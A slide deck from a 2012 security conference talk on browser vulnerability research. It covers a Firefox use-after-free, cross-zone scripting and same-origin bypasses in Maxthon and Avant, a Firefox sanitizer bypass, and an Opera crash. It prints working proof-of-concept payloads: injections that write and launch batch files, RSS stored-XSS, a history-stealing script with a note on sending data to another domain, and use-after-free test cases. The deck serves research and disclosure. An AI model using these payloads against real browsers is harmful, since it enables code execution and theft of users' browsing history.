Window Shopping: Browser Bug Hunting in 2012

Roberto Suggi Liverani / Scott Bell – Security-Assessment.com
HITB2012AMS
Who Are We?

- **Roberto Suggi Liverani (@malerisch)**
  - Principal Security Consultant
  - Blog and research: [http://blog.malerisch.net/p/security-research.html](http://blog.malerisch.net/p/security-research.html)

- **Scott Bell**
  - Principal Security Consultant
Agenda

- Introduction
  - Our approach and why

- Window Shopping!
  - Bugs showcase
  - Fun, pain and results
  - Demos

- Conclusions
Introduction

- **Why target browsers?**
  - Predominant desktop application
  - Tech shifting towards client-side
  - Chances to find cool bugs

- **Approach**
  - Wide angle - not limited to memory corruption bugs
  - Injection attacks and policy/rules bypass
Anyone who lives within their means suffers from a lack of imagination. ~Oscar Wilde
Firefox - Use-After-Free < 11

- **Severity:** CRITICAL
- **Exploit:** Remote Code Execution (no DEP)
- **Credits:** Scott Bell & Blair Strang
- **Status:** Patched in FF 11 (win7)
- **CVE:** 2012-0454
- **Vendor Response:**
  - Bug fixed but took a long time
  - Mozilla developers struggled to replicate and fix this bug
- **Approach:** modded version of cross_fuzz
  - cross_fuzz - [http://lcamtuf.coredump.cx/cross_fuzz/](http://lcamtuf.coredump.cx/cross_fuzz/)
What product are you selling me?

- **UAF (Use-After-Free)**
  - Referencing memory after it has been freed can cause a program to:
    - Crash
    - Use unexpected values
    - Execute arbitrary code
Modified cross_fuzz
- Added more entropy via:
- Randomising call parameter count
- Removing toggle_gc()
- Changing ‘document.designMode=on’ be controlled by the parent window
- Changing fuzz variables

```javascript
var FAN_LIMIT = 8;  // Object crawl factor
var MAX_LEVEL = 5;  // Maximum object level
var MAX_RET_LEVEL = 1;  // Maximum return value
var TWEAK_ODDS = 2;  // Property tweaking
var CALL_ODDS = 2;  // Method call probability
var REF_ODDS = 5;  // Object reference
var NONOBJ_ODDS = 20;  // Non-object reference
var INTER_ODDS = 2;  // Odds of using
var TRASH_ODDS = 8;  // Target window
var RESET_ODDS = 2;  // Odds of respawn
var PARAMS = genrand_int32() % 6;
var MAX_REFS = 200;  // Maximum number of references
var KEEP_REFS = 100;  // Number of references to keep
```
**FF Use-After-Free**

- **Modified cross_fuzz**
  - Implemented HTMLGen to generate different HTML each run
  - Waited for the DOM to load in child windows before crawling.
    - This cuts out timing issues/different fuzz path results.
  - Removed phases - only leaving some e.g. `tweak_properties()`

```java
    case 0:
      //crawl_properties('[target1]', t1, 0, cur_set);
      break;

    case 1:
      //call_methods('[target1]', t1, 0, 0, cur_set, cur_set);
      break;

    case 2:
      tweak_properties('[target1]', t1, 0, cur_set);
      break;

    case 3:
      //call_methods('[target1]', t1, 0, 0, cur_set, cur_set);
      break;
```

using only one phase
Minimising

- JSLOG – Firefox Extension (Blair Strang)
- Used JSLOG to dump DOM operations
- Observed browser behaviour around the time of crash
- Followed browser behaviour in the debugger
- A lot of late nights :)

```javascript
function LOG(message) {

    /* TODO: Find a way to log stuff. */

    var evt = document.createEvent('CustomEvent');
    evt.initCustomEvent('log', true, false, message);
    document.dispatchEvent(evt);
}
```
Minimising
- Noted consistencies at the time of crash
- Referenced consistencies with JSLOG output
- Manually tried various scenarios based upon what we observed

Result
- Reduced very complex HTML test case to a simple HTML template
- Thousands of JavaScript DOM operations reduced to few
Parent.html

```html
<body>
<script>
var t1;
function doclose() {
    t1.document.form1.uploadbox.click();
    t1.close();
}

t1 = window.open('child.html', 't1');
setTimeout("doclose();", 2000);
</script>
</body>
</html>
```
Child.html

```html
<html>
<head><title>Child</title>
</head>
<body>
<form name="form1">
<input type="file" name="uploadbox">
</form>
</body>
</html>
```
1. Parent spawns child

2. Parent performs click on form file open dialog spawns

3. Parent closes child while File open dialog is open
**FF Use-After-Free Analysis**

- **Analysing**
  - An obvious Use-after-free
  - Windows heap manager writes the pattern 0xFEEEFEEEEE to HeapFree'd locations
  - Looks pretty exploitable too, crashes on a CALL :)

```
(278.c6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
```
## FF Use-After-Free - Analysis

- **Analysing**
  - Crazy unknown stack trace - doesn't really help
  - Speculation: seems to be going through some Windows internals

### Stack Trace

```plaintext
0:000> k
ChildEBP RetAddr
0016c9d4 75e11cf 7 SHLWAPI!IUUnknown_QueryService+0x3b
0016ca14 75e130c 0 SHELL32!CBrowserProgressAggregator::_UpdateInfoBars+0x35
0016ca40 76b8c4e 7 SHELL32!CBrowserProgressAggregator::s_WndProc+0x114
0016ca6c 76b8c5c 7 USER32!InternalCallWinProc+0x23
0016ca0e 76b8ca19 USER32!UserCallWinProcCheckWow+0x14b
0016cb44 76b8c70 USER32!DispatchMessageWorker+0x35e
0016cb54 632f8778 USER32!DispatchMessageW+0xf
0016cbf0 632ff4c1 xul!nsAppShell::ProcessNextNativeEvent+0x238 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016cd10 6331759d xul!nsBaseAppShell::OnProcessNextEvent+0x198 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016c4c 632ec64a xul!nsThread::ProcessNextEvent+0x4ad [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016c84 63519221 xul!mozilla::ipc::MessagePump::Run+0x1aa [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016ccbc 635191f2 xul!MessageLoop::RunHandler+0x21 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016cd8 634f510b xul!MessageLoop::Run+0x15 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016cfe 635192ef xul!nsBaseAppShell::Run+0x34 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016ecb8 63519331 xul!nsAppShell::Run+0x4d [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016cc44 6344d35a xul!nsAppStartup::Run+0x1f4 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016efcc 011617e1 xul!XRE_main+0xdf5 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016fa0 01161b10 firefox!_main+0x7e1 [e:\builds\moz2_slave\rel-m-rel-w32-bin\firefox\tmainCRTStartup+0x10f]
0016fae 769c9345 firefox! mainCRTStartup(0x10f)
0016fafa 76f437f5 kernel32!BaseThreadInitThunk+0xe
0016fb30 76f437c8 ntdll!__RtlUserThreadStart+0x70
0016fb48 00000000 ntdll!_RtlUserThreadStart+0x1b
```
FF Use-After-Free

- **Conclusion**
  - Very ‘timing sensitive’
  - Need for specific heap layout
  - No DEP/ASLR bypass

**DEMO** – Firefox Use After Free Code Execution

*If anyone is interested in improving current exploit, please contact us*
Maxthon - XCS and SOP Bypass

- Severity: CRITICAL
- Exploit: Remote Code Execution
- Credits: Roberto Suggi Liverani
- CVE: n/a
- Status: Unpatched!
- Vendor Response: ★★★★★
  - 13/02/2012 - bugs reported to multiple contacts
  - 21/02/2012 - reception of report confirmed but no further reply
  - 21/02/2012 - chased them, no reply
  - 02-05/2012 - 11 new releases following the report – 1 bug silently fixed
- Approach: targeted – looking for injection points
What product are you selling me?

- **XCS or Cross-zone scripting**
  - Cross Zone Scripting coined for IE
  - XCS coined for Firefox and injection in chrome://

- **What is XCS?**
  - An XSS in a privileged browser zone
  - An intrinsic Same-Origin Policy (SOP) bypass :-)

- **Each browser has a privileged zone:**
  - FF - **chrome://**
  - Chrome - **chrome://**
  - Opera - **opera://**
  - Maxthon - **mx://**
  - Avant - **browser://**
XCS

- Browser privileged/trusted zone
  - Access to internal API interfaces:
    - File system, browser settings, bookmarks, storage, etc.

- Some references from the past
  - Opera XSS found in opera:history
    - RCE exploit in opera:config (Kuza55 / Stefano Di Paola / Aviv Raff)
  - FF addons research with Nick Freeman
    - Multiple RCE exploits released in FF addons

- XCS exploits are 100% reliable
A bit about Maxthon

- **Developed by:** Maxthon International (China)

- **Architecture**
  - Supports Trident and Webkit layout engines
  - Focus on performance and extra features

- **Some stats - according to Maxthon**
  - 130 million users
  - Users spread over 120 countries
  - 500,000,000 downloads in 2k10
Maxthon – The bugs

- Cross Context Scripting
  - about:history zone
  - Feed Reader (about:reader) and RSS Viewer
  - Bookmark Toolbar and Bookmark Sidebar
- Incorrect Executable File Handling
- Same-Origin Policy (SOP) Bypass
- DNS Poisoning/MiTM – i.maxthon.com

- Remote Code Execution possible in 5 different ways!
Maxthon - XCS via location.hash

- Injection via location.hash

```
http://x.x.x.x/maliciouspage.html#"<img src=a onerror='var b = new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name)
```

- Maliciouspage.html – performs redirection

```
<body><script>a = window.location.href='about:history';</script></body>
```

- Injected payload executes in about:history
Maxthon XCS in RSS

- Injection via `<title>`, `<link>`, `<description>` tags

```html
<title>test'&gt;&lt;img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:"');&gt;&lt;/title&gt;
<link>javascript:alert(window.location);&lt;/link&gt;
<description>07/09/2008 - test &lt;img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:"');&gt;&lt;/description&gt;
```
Add To Favorites

Title: Google - www.google.com - the best search engine - bookmark now!!!

URL: www.google.com

Folder: My Favorites

<script>
    evilpayload='location.href=file:///C:/windows/system32/calc.exe';
    padding="Google - www.google.com"
    padding2=""
    padding3=" - the best search engine - bookmark now!!!"

    window.external.addFavorite("www.google.com",padding+""><scri"+"pt">"+evilpayload+"</"+"scri"+"t">"+""+padding+padding3)
</script>
Maxthon – Further bugs

- **External Tools Direct Invokation**
  - Maxthon can invoke executables
    - `window.open("file://C:/windows/system/cmd32.exe");`
  - pop up blocker -> but if user accepts, exe is called

- **SOP Bypass**
  - Tested `window.open()` with following results:
    - **From: http://** - `window.open('file://...')`
      - Prompts a popup blocker, if the user allows the pop up, the file:// window is opened
    - **From: http://** - `window.open('about://*')`
      - spawns a new window
    - **From: http://** - `window.open('mx://res/*')`
      - forbidden by SOP
- i.maxthon.com
  - sets interesting DOM objects
    - runtime
    - Maxthon
Maxthon – i.maxthon.com (2/2)

- **Design Issues**
  - i.maxthon.com = trusted domain
  - i.maxthon.com allows direct access to privileged APIs
  - No control on resolution of IP address
  - No use of SSL

- **MiTM Bug**
  - DNS poisoning
    - Force resolution of i.maxthon.com to a controlled IP address
  - HTTP MiTM
    - i.maxthon.com served over HTTP – malicious proxy which alters page content

- **Other implications**
  - XSS in real i.maxthon.com site
DEMO - Maxthon multiple vulnerabilities
Avant Browser – XCS & SOP Bypass

- **Severity:** URGENT
- **Exploit:** History Stealing, XSS, misc
- **Credits:** Roberto Suggi Liverani
- **CVE:** n/a
- **Status:** Unpatched!
- **Vendor Response:**
  - 07/03/2012 - had to post 10 posts to a forum to get a contact!
  - 14/03/2012 - reception of report confirmed but no further reply
  - 14/03/2012 - chased them, no reply
  - 03-05/2012 - 2 new releases following the report, one bug silently fixed
- **Approach:** targeted - looking for injection points
Avant Browser

- Avant Browser - Avant Force (China)
  - Custom web browser application
  - Designed to expand services provided by IE
  - From FAQ: Is Avant Browser a secure browser? Yes, Avant Browser is secure. Since it's based on Internet Explorer, Avant Browser is as secure as Internet Explorer. Avant Browser supports all SSL secured websites. Avant Browser's encryption length is the same as Internet Explorer's.

- Two versions: lite (only IE) & ultimate (IE, FF, Chrome)
- More downloads than Chrome, IE and Opera in CNET
A bit about Avant (1/3)

Firefox wrapped version

Avant.exe - parent of firefox.exe

Arguments passed to firefox.exe
Interesting files

- "C:\Program Files\Avant Browser\res" folder:

  ![Directory of C:\Program Files\Avant Browser\res]

  - 03/09/2012 08:52 AM 752 context.wktpl
  - 03/09/2012 08:52 AM 4,541 elefprompt.wktpl
  - 03/09/2012 08:52 AM 81,242 home.tpl
  - 03/09/2012 08:52 AM 27,599 rss.tpl
  - 03/09/2012 08:52 AM 2,874 textfunc.wktpl
  - 03/09/2012 08:52 AM 12,132 webforms.wktpl

Observations

- home.tpl is rendered at browser:home
- rss.tpl is rendered at browser://localhost/lst?url/path/to/rss/feed
- Such pages use privileged JavaScript function `window.AFRunCommand()`
- Pages provided examples on how to call privileged functions and aided exploitation
Testing AFRunCommand()

- Undocumented Avant browser function
- `Try{}/Catch{}` no output
- Bruteforce only option – passing a single parameter:
  - `60003` - `window.external.HistoryUrls()` - [used in exploit]
  - `60011` - prompt for download
  - `10021` - add to ad block specified site
  - `3` - spawns an empty tab
  - `10010` - reloads the page
  - `10013` - search for keywords
  - `10014` - pop up blocker
  - `10016` - download a video (argument passed as URL)
  - `10017` - add task for download scheduler
  - `10025` - search keywords
Avant Browsers – The bugs

- **Same-Origin Policy (SOP) Bypass**
  browser:home

- **Cross Context Scripting**
  browser:home – Most Visited And History Tabs

- **Stored Cross Site Scripting**
  Feed Reader (browser://localhost/lst?*)
Avant Browser – Showcase

- SOP Bypass - History Stealing

```html
<iframe name="test2" src="browser:home"></iframe>

<script>
var vstr = {value: ""};
window['test2'].navigator.AFRunCommand(60003, vstr) alert(vstr.value);

//send vstr.value via an img src to another domain </script>
```
Avant Browser – Showcase

- **XCS in browser:home – History Stealing**
  - Injection via `<title>` HTML element

```
<title>aaa</title><img src=a onerror='var vstr = {value: 
""};window.navigator.AFRunCommand(60003, vstr);alert(vstr.value);'></title>
```

- Cross Site Scripting Payload Rendered In browser:home Privileged Zone

```
<img align="TOP" vspace="0" hspace="3" border="0" src="browser:home/images/page.gif" alt="">
eval(alert(1))<aaa>
<img onerror="var vstr = {value: 
""};window.navigator.AFRunCommand(60003, vstr);alert(vstr.value);"></a>
```
Avant Browser – Stored XSS via RSS

- Injection via `<title>`, `<link>` and `<description>` tags

```html
<title>browser security&amp;lt;img src=a onerror='alert(1);' ;&gt;</title>

<link>javascript:alert(window.location);</link>

<description>07/09/2008 - I have done some research in the area of browser security and presented this argument at the last OWASP NZ meeting.&lt;img src=a onerror='alert(1);' ;&gt;</description>
```
DEMO – Avant Browser
nsIScriptableUnescapeHTML.parseFragment() Bypass

- **Severity:** MEDIUM
- **Impact:** Remote Code Execution
- **Credits:** Roberto Suggi Liverani
- **Status:** Patched in FF 3.6.14, Thunderbird 3.1.8, and SeaMonkey 2.0.12
- **CVE:** 2010-1585
- **Vendor Response:**

**Description**

 Mozilla security developer **Roberto Suggi Liverani** reported that ParanoidFragmentSink, a class used to sanitize potentially unsafe

**Approach:** investigating a Firefox addon developer’s doubt
Some background

- `nsIScriptableUnescapeHTML.parseFragment()`
  - Critical function used to filter and sanitise data
  - Mostly used in the context of filtering data in chrome:// priv zone
  - **Recommended** and deemed safe to use for addons devs
  - Wizzrss (FF addon) found to be vulnerable using a bypass

```javascript
var payload = untrusted_html_or_xml_data;
var target = document.getElementById("status-bar");
// [...]
var fragment = Components.classes["@mozilla.org/feed-unescapehtml;1"].getService(Components.interfaces.nsIScriptableUnescapeHTML).parseFragment(payload, false, null, target);

target.appendChild(fragment);
```
Standard Case - Filtering

- **HTML Payload**

  
  test\&lt;script\&gt;evilpayload()&lt;/script&gt;

- **Processed by parseFragment() becomes:**

  test

- **<script> is stripped out**
  - Only HTML payload remains
  - Safe to append in chrome:// DOM
Bypass Test Case

- HTML payload

```
&lt;a href=&quot;javascript:alert(window)&quot;&gt;a&lt;/a&gt;
```

- Processed by parseFragment() becomes:

```
<a href="javascript:alert(window)">a</a>
```

- With user interaction payload can be triggered in privileged browser zone – chrome://
DEMO – Code Execution in WizzRSS FF addon - nsIScriptableUnescapeHTML.parseFragment() bypass

demo video kindly provided by @0x7674 (Nick Freeman)
Opera Use-After-Free < 11.52

- **Severity:** LOW
- **Exploit:** Crash
- **Credits:** Roberto Sugi Liverani
- **CVE:** 2011-4152
- **Status:** Patched in Opera 11.52
- **Vendor Response:** ★★★★★
  - Recognised as a memory corruption bug
  - Not a security issue since no exploit is provided
  - But Opera kept asking for an exploit
- **Approach:** using own fuzzers
- **Simplified test-case**
  - Clone, remove, append
  - Use of `contenteditable` attribute for `<em>` and `<strong>` lead to crash
  - Crash works if heap spray() occurs
  - Couldn’t find an exploit 😞
  - Opera’s position: *not exploitable*

```javascript
function crash()
{
    // Clone Object -> Remove Object -> Append Reference
    obj = document.body.children[0].cloneNode(true)
    document.body.removeChild(document.body.children[0])
    document.body.appendChild(obj)

    // Clone Object -> Remove Object -> Append Reference
    obj = document.body.children[0].cloneNode(true)
    document.body.removeChild(document.body.children[0])
    document.body.appendChild(obj)

    // Clone Object -> Remove Object -> Append Reference
    obj = document.body.children[0].cloneNode(true)
    document.body.removeChild(document.body.children[0])
    document.body.appendChild(obj)

    // Clone Object -> Remove Object -> Heap Spray
    obj = document.body.children[1].cloneNode(true)
    document.body.removeChild(document.body.children[1]);
    spray(); // if this is removed Opera won't crash
}
```

```html
</script>
</head>
<body onload="crash();">

<em contenteditable="true">a</em>
<br/>
<strong contenteditable="true">a</strong>
```
DEMO - Opera – Use-After-Free Crash
FF/Opera – XCS via bookmarks

- **Severity:** LOW
- **Impact:** Code Execution
- **Credits:** Roberto Suggi Liverani

**Firefox - Status:** Patched in FF 11
**Bug reported by someone else**

**Opera - Status:** Won’t fix
**Opera Vendor Response:** ★★★★★
  - Multiple exploit steps required – won’t fix

**Approach:** looking at injection in and from bookmarks
In a few words

- **Ancient bug:** reported in 2k5 by M. Krax

- **User is lured into bookmarking a:**
  - Malicious javascript: URI + payload

- **User clicks on malicious bookmark**
  - Focus on standard web page – Impact: **UXSS**
  - Focus on privileged browser zone – Impact: **XCS**

- **Many ways to fool users:**
  - Security controls on status bar can be partially fooled
  - JavaScript can be compressed and obfuscated
  - Code can be hidden – e.g. Opera NULL byte issue in view source - @Agarri_FR
DEMO - XCS via bookmarks
Opera and Firefox

Brendan Eich – 2k5
There’s nothing wrong with using javascript: URLs in chrome. What’s good for content is good for chrome, often enough.
Conclusions

- **Disclosure Fail**
  - Some browser vendors still do not understand how reporting and security disclosure works

- **Bug complexity vs. impact**
  - Injection bugs are simple but impact can be significant
  - No need to find memory corruption bugs to achieve code execution

- **Delegated security**
  - Presenting browsers as secure as IE or Chrome give false sense of security to end-users
Special thanks

- Blair Strang
- Thanks to the SA team for inspiration

- Advisories and exploit code for today’s demonstrations will be released in the near future
- Thanks for coming along, and enjoy the rest of the con

- If you have questions, come find us later on!
  - Roberto Suggi Liverani - @malerisch
    - http://blog.malerisch.net
  - Scott Bell – scott.bell@security-assessment.com
References

- **cross_fuzz**
  - [http://lcamtuf.coredump.cx/cross_fuzz/](http://lcamtuf.coredump.cx/cross_fuzz/)
  - [http://lcamtuf.blogspot.co.nz/2011/01/announcing-crossfuzz-potential-0-day-in.html](http://lcamtuf.blogspot.co.nz/2011/01/announcing-crossfuzz-potential-0-day-in.html)

- **Firefox Use-after-free**
  - [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0454](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0454)
  - [https://bugzilla.mozilla.org/show_bug.cgi?id=684555](https://bugzilla.mozilla.org/show_bug.cgi?id=684555)

- **Firefox nsiscriptable CVE**
  - [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1585](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1585)

- **Opera Use After Free**
  - [http://malerisch.net/docs/advisories/opera_use_after_free_crash_poc.html](http://malerisch.net/docs/advisories/opera_use_after_free_crash_poc.html)
References

- Cross Context Scripting in Firefox addons
  - http://malerisch.net/docs/cross_context_scripting/Cross_Context_Scripting_with_Firefox.html

- Exploiting Firefox Extensions
  - http://www.slideshare.net/robertosl81/exploiting-firefox-extensions

- WizzRSS – Security Advisory

- Opera fail:
  - José Antonio Vázquez (@0xde1) - http://www.enred20.org/node/27
  - http://my.opera.com/securitygroup/blog/2011/10/19/about-the-svg-font-manipulation-vulnerability-that-was-fixed-in-11-52#comments
References

- Spoof Status Bar:
  - https://bug338459.bugzilla.mozilla.org/attachment.cgi?id=222524
- Don't allow bookmarking an evaluated+loaded javascript:
  - URL
    - https://bugzilla.mozilla.org/show_bug.cgi?id=371179
- Opera Stored XSS
- Avant Forum Contact
  - &hilit=report+security#p182724
- Heap Spraying Demystified
References

- **Blog – Roberto Suggi Liverani**
  - [http://blog.malerisch.net/](http://blog.malerisch.net/)
- **Twitter account - @malerisch**
  - [https://twitter.com/malerisch](https://twitter.com/malerisch)
- **Security-Assessment.com Research**
- **Nick Freeman – Publications**
  - [http://atta.cked.me/publications](http://atta.cked.me/publications)